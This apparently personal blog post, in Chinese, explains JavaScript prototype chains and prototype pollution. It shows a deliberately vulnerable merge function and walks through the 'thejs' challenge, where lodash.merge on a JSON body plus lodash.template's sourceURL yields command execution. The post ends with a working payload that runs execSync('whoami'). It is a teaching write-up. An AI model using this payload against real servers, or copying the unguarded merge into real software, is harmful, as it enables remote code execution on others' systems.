NodeJs原型链及其污染

NodeJs原型链及其污染

JavaScript 是动态的,本身不提供一个 class 的实现。ES6 中引入了 class 关键字,但那也只是语法糖,JavaScript 仍然是基于原型的。

当谈到继承时,JavaScript 只有一种结构:对象。每个实例对象(object)都有一个私有属性(称之为 proto )指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(__proto__),层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

prototype

每个函数对象都会有个prototype属性,它指向了该构建函数实例化的原型。使用该构建函数实例化对象时,会继承该原型中的属性及方法。

__proto__

所有对象都有一个__proto__属性,它指向了创建它的构建函数的原型。即

persion.__proto__===Persion.prototype

函数的prototype为原型对象,原型对象也是普通对象,所以跟普通对象实例一样,它的__proto__也指向Object.prototype

  • 显式原型&隐式原型
    显式原型:prototype
    隐式原型:__proto__
  • proto 是每个对象都具有的属性
    prototype是Function独有的属性
  • 对象的隐式原型的值为其对应构造函数的显式原型的值
    fn.__proto__ === Function.prototype
    函数的prototype属性是定义时自动添加的。默认为{}
    对象的__proto__属性是创建对象时自动添加的,默认值为其构造函数的prototype
    Object.prototype.__proto__ === null

constructor

1
2
3
4
5
6
function Person(name){
this.name=name
}
var person1=new Person('xiaohong')
var person2=new Person('lili')

person1.constructor=Person constructor指向构造函数,Person的内置属性 Person.prototype(原型对象),每个原型对象都有一个constructor属性,指向prototype属性所在的函数Person
person1.constructor=person2.constructor=Person.prototype.constructor

并且实例对象的 constructor 等于 函数对象也就是 person1.constuctor = Person

总结就是原型对象和实例对象都有 constructor 并且是同一个构造器 所以相等

引子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
var a={
"a":"hello",
"b":"world",
"c":function(){
console.log("老铁 666")
}

a.c()

//JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:
function b(){
console.log("9999")
}
l=new b()
b()

//老铁 666
//9999
//9999

//类(构造函数)
class Foo {
constructor() {
this.bar= 'bar'
this.qqq=function () {
console.log("kkkkkk")
return ""

}
}
getInfo(){
return "666";
}
}

加强理解

1
2
3
4
5
6
7
8
9
10
function doSomething(){}
doSomething.prototype.foo = "bar";
var doSomeInstancing = new doSomething();
doSomeInstancing.prop = "some value";
console.log("doSomeInstancing.prop: " + doSomeInstancing.prop);
console.log("doSomeInstancing.foo: " + doSomeInstancing.foo);
console.log("doSomething.prop: " + doSomething.prop);
console.log("doSomething.foo: " + doSomething.foo);
console.log("doSomething.prototype.prop: " + doSomething.prototype.prop);
console.log("doSomething.prototype.foo: " + doSomething.prototype.foo);

结果如下:

1
2
3
4
5
6
doSomeInstancing.prop:      some value
doSomeInstancing.foo: bar
doSomething.prop: undefined
doSomething.foo: undefined
doSomething.prototype.prop: undefined
doSomething.prototype.foo: bar

一些js特性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
s={a:"sad",b:function () { return 2333;}}
{a: 'sad', b: ƒ}
s["a"]
'sad'
s.b
ƒ () { return 2333;}
s.b()
2333
x="b"
'b'
s[x]
ƒ () { return 2333;}
s[x]()
2333

https://img-blog.csdnimg.cn/80375976eabd48a7901a0a6d2d996974.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

原型链继承

1
2
3
4
5
6
7
8
9
10
11
12
function Son(){}
function Father(){}
Son.prototype = new Father();
son =new Son()
son.__proto__.__proto__==Father.prototype
son.__proto__== Son.prototype
true
Son.prototype.__proto__ == Father.prototype
true

son.__proto__.__proto__.__proto__.__proto__
null

继承了也就是 son这个对象多了一层 proto

https://img-blog.csdnimg.cn/5a7faade979f484082b084526c0342bb.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_15,color_FFFFFF,t_70,g_se,x_16

原型链污染例子

前面说到,foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?

做个简单的实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

最后,虽然zoo是一个对象{},但zoo.bar的结果是2

原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

哪些情况下原型链会被污染?

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

以对象merge为例,我们想象一个简单的merge函数:

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

我们用如下代码实验一下:

1
let o1 = {}let o2 = {a: 1, "__proto__": {b: 2}}merge(o1, o2)console.log(o1.a, o1.b)o3 = {}console.log(o3.b)

结果是,合并虽然成功了,但原型链没有被污染:

https://www.leavesongs.com/media/attachment/2019/04/03/ba16d965-3112-4f69-bf5e-4eddb034e6dc.c5e82ea6e4f5.png

这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。

那么,如何让__proto__被认为是一个键名呢?

我们将代码改成如下:

1
let o1 = {}let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')merge(o1, o2)console.log(o1.a, o1.b)o3 = {}console.log(o3.b)

可见,新建的o3对象,也存在b属性,说明Object已经被污染:

https://www.leavesongs.com/media/attachment/2019/04/03/5e05a46f-3c7b-4ab4-869c-fe6fd19422b7.64db1b9bbae7.png

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

thejs原型链污染分析

源码:https://www.leavesongs.com/media/attachment/2018/11/23/thejs.tar.gz

调试环境搭建

进入源码所在的目录,然后直接执行npm install命令就可以自动安装所需的依赖包了。

npm audit 查看漏洞信息

https://img-blog.csdnimg.cn/aa9bc0e04ac04a3a8672a41cb4ea189d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

开始调试

在这里插入图片描述

然后就会自动在目录下生成一个.vscode文件夹里面有一个launch.json文件,检查program是否为server.js,没有问题直接点击启动程序就能够正常启动或者断点调试了。

https://img-blog.csdnimg.cn/b6cb630b496943ebb3590079baffddc0.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

主要源码如下

1
const fs = require('fs')const express = require('express')const bodyParser = require('body-parser')const lodash = require('lodash')const session = require('express-session')const randomize = require('randomatic')const app = express()app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())app.use('/static', express.static('static'))app.use(session({    name: 'thejs.session',    secret: randomize('aA0', 16),    resave: false,    saveUninitialized: false}))app.engine('ejs', function (filePath, options, callback) { // define the template engine    fs.readFile(filePath, (err, content) => {        if (err) return callback(new Error(err))        let compiled = lodash.template(content)        let rendered = compiled({...options})        return callback(null, rendered)    })})app.set('views', './views')app.set('view engine', 'ejs')app.all('/', (req, res) => {    let data = req.session.data || {language: [], category: []}    if (req.method == 'POST') {        data = lodash.merge(data, req.body)        req.session.data = data    }        res.render('index', {        language: data.language,         category: data.category    })})app.listen(3000, () => console.log(`Example app listening on port 3000!`))

发现这里有一个 loadsh.merge 看看官方文档 很明显这里merge的第一个参数是 obj

https://img-blog.csdnimg.cn/3aa41cac98fc490887aa897f13a357ea.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

这里还需要注意,直接提交是不能造成原型链污染的,因为我们之前也试过了,只有在JSON解析的情况下__proto__才会被认为是一个键名,才能够造成原型链污染。那么我们如何才能让我们传入的参数按照JSON解析呢?

这里我们在代码中看到const app = express()题目使用的是express框架,而express框架支持根据Content-Type来解析请求Body,所以我们只需要将Content-Type改为application/json即可。

我们提交一个参数 {"__proto__":{"a":"sss"}}看看到底会不会造成原型链污染

https://img-blog.csdnimg.cn/0f310732dd8a4cb9827a545a48bf3bfe.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

启动调试 步入到这步,发现已经污染了

https://img-blog.csdnimg.cn/7735b91df2ef49d083241d179c3b6863.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

那么我们现在找到了能够污染原型链的地方,接下来就要想想如何利用了,我们又想起了template函数的官方文档中写了可以使用sourceURLs进行调试,那我们就跟进template函数看看:

1
// Use a sourceURL for easier debugging.var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';......var result = attempt(function() {  return Function(importsKeys, sourceURL + 'return ' + source)  .apply(undefined, importsValues);});

可以看到先是判断options(options也是obj)中是否有属性sourceURL,如果有就进行拼接,没有则为空,然后将这个值拼接进new Function的第二个参数。

那么我们现在就有思路了,我们可以利用原型链污染,给Object中插入一个sourceURL属性,当执行到template中时,判断options中原本是没有sourceURL的,但是因为JavaScript的查找机制会一直向上查找,查到Object中时找到了sourceURL,然后就会拼接进new Function造成任意代码执行。

options是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。

但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。

Function语法

Function(arg1,arg2,…,funcbody) 可以建立一个匿名函数

https://img-blog.csdnimg.cn/c847824503b5419e8e90bcb967135b10.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

Function.apply(object, args)可以调用该函数,可以理解为object.function(arg1, arg2),args=[arg1, arg2],例如:

1
var y=Function("a","b","return a+b").apply(undefined,[1,2])console.log(y)结果为 3

... 作用 https://www.cnblogs.com/makalochen/p/13967875.html

payload

1
{"__proto__":{"sourceURL": "\u000areturn e => { for (var a in {}) {delete Object.prototype[a]; } return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a// "}}

e=>{return ...}是ES6的匿名函数创建语法,相当于

1
function(e){	return ...;}

接下来解释这个 for (var a in {}) {delete Object.prototype[a]; }

整个原型链都会受到污染带来的影响,导致后面用户因为原型已经被污染而无法获取正常服务 需要用for循环把之前的污染删掉

https://img-blog.csdnimg.cn/d25d9794ec2c46b18458ef08dd6737f5.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

还有就是这个不能使用require( "child_process" ) 因为可以看到我们在template函数里面 函数体里面无法使用 require

开始调试

这两个地方都下断

https://img-blog.csdnimg.cn/5bf13f82dc524305842cb30e05f6e4de.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

可以看到这里data已经污染了

https://img-blog.csdnimg.cn/5d93e890fc4e4acc992683ba0106a7d1.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

接着步入 template

https://img-blog.csdnimg.cn/ef42771785074a3bbcaeb5c28e33d1fa.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

可以看到这里sourceURL有值说明这里成功获取到了sourceURL属性

可以看到成功执行了

https://img-blog.csdnimg.cn/3c59b5c7ea214976a5f998038f2feb9f.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain

https://blog.szfszf.top/tech/javascript-原型链污染-分析/

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x04

https://anemone.top/JS-原型链污染/

https://www.freebuf.com/articles/web/264966.html

[https://www.freebuf.com/articles/web/264966.html](

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~